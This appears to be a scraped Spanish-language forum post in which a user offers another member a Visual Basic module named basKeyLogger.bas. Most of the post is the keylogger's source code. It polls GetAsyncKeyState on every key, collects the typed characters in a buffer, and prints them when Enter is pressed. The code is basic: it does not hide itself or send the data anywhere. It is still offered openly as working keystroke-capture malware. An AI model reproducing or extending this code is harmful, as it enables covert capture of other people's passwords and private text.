Tomo g-unit mira a ver si te gusta:

S4Lu2!!
			
S4Lu2!!
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
'
'Módulo estándar basKeyLogger.bas
'
Option Explicit
Public bLogEnabled As Boolean
Function GetActiveKey() As Integer
         Static bStarted As Boolean
         Dim i%
  If Not bStarted Then
    'Inicializa el estado de las teclas llamando a
    'la función GetAsyncKeyState.
    '
    For i = 1 To 256
      Call GetAsyncKeyState(i)
    Next
    bStarted = True
  End If
  For i = 1 To 256
    'Obtiene la tecla pulsada actualmente.
    '
    If GetAsyncKeyState(i) Then
      GetActiveKey = i
     
      Exit For
    End If
  Next
End Function
Sub StopLog()
  bLogEnabled = False
End Sub
Sub LogKeys()
        Dim snTimer!
        Dim iActiveKey%
        Dim sChar$, sData$
  bLogEnabled = True
 
  Do While bLogEnabled
    snTimer = Timer
   
    Do While (Timer - snTimer) < 0.125
      'Espera 125 milisegundos hasta
      'la próxima pulsación.
    Loop
   
    iActiveKey = GetActiveKey
   
    Select Case iActiveKey
      Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
        sChar = Chr$(iActiveKey)
     
        sData = sData & sChar
     
      Case vbKeyReturn
        'Imprime lo que tiene en el buffer.
        '
        Debug.Print sData
       
        sData = vbNullString
      Case Else
        'Verifica otras teclas.
    End Select
  Loop